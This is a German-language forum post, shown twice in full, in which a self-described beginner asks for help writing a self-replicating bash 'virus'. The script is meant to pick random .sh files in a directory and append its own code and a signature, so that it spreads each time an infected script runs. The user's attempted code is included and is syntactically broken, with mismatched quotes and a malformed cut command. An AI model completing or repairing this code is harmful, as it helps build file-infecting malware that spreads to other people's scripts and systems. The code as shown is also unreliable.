M
monox
Grünschnabel
Hallo
Ich möchte für ein persönliches, experimentelles Projekt folgendes erstellen:
Ich möchte ein virales Script schreiben, welches zufällig andere Dateien befällt. Ich weiss, dass ich nur Scripte mit den richtigen Rechten befallen kann. Dies ist aber kein Problem: Bei meinem Projekt sind die zu befallenden Script so eingerichtet, dass das funktioniert.
An diesen wird am Schluss eine Zeile hinzugefügt, dass der Virus hier war. Quasi eine Unterschrift. Immer wenn die Witsdatei ausgführt wird, also ein Shell Script, wird der Virus wieder weiterkopiert. Also quasi Code, der sich selber herumkopiert und überall sich markiert.
Ich bin noch Neuling und möchte dies technisch umsetzen, obwohl es recht schwierig zu sein scheint.
Hat mir jemand irgendwelche Vorschläge?
Kann mir allenfalls jemand mit einer schlichten Lösung weiterhelfen?
Ich habs bereits mit dem hier probiert::
#!/bin/bash
export V='GESWIRTSCRIPTE=`ls -l | tr -s " " | cut -d "
" -f9 | fgrep ".sh" | wc -w`
ZUFALLSZAHL=`expr $RANDOM % $GESWIRTSCRIPTE`
LISTSCRIPTE=`ls -l | tr -s " " | cut -d " " -f9 |
fgrep ".sh"`
echo $LISTSCRIPTE > scriptliste
ZUFINFFILE=`cat scriptliste | cut -d " " -f$ZUFALLSZAHL`
echo "export
V='$V'
" >> "$ZUFINFFILE"; echo
"$ZUFINFFILE"'
FILE=$(sh -c "$V"
echo $FILE
#cat > "$V" >> $FILE
----
cuuu
monox
Ich möchte für ein persönliches, experimentelles Projekt folgendes erstellen:
Ich möchte ein virales Script schreiben, welches zufällig andere Dateien befällt. Ich weiss, dass ich nur Scripte mit den richtigen Rechten befallen kann. Dies ist aber kein Problem: Bei meinem Projekt sind die zu befallenden Script so eingerichtet, dass das funktioniert.
An diesen wird am Schluss eine Zeile hinzugefügt, dass der Virus hier war. Quasi eine Unterschrift. Immer wenn die Witsdatei ausgführt wird, also ein Shell Script, wird der Virus wieder weiterkopiert. Also quasi Code, der sich selber herumkopiert und überall sich markiert.
Ich bin noch Neuling und möchte dies technisch umsetzen, obwohl es recht schwierig zu sein scheint.
Hat mir jemand irgendwelche Vorschläge?
Kann mir allenfalls jemand mit einer schlichten Lösung weiterhelfen?
Ich habs bereits mit dem hier probiert::
#!/bin/bash
export V='GESWIRTSCRIPTE=`ls -l | tr -s " " | cut -d "
" -f9 | fgrep ".sh" | wc -w`
ZUFALLSZAHL=`expr $RANDOM % $GESWIRTSCRIPTE`
LISTSCRIPTE=`ls -l | tr -s " " | cut -d " " -f9 |
fgrep ".sh"`
echo $LISTSCRIPTE > scriptliste
ZUFINFFILE=`cat scriptliste | cut -d " " -f$ZUFALLSZAHL`
echo "export
V='$V'
" >> "$ZUFINFFILE"; echo
"$ZUFINFFILE"'
FILE=$(sh -c "$V"
echo $FILE
#cat > "$V" >> $FILE
----
cuuu
monox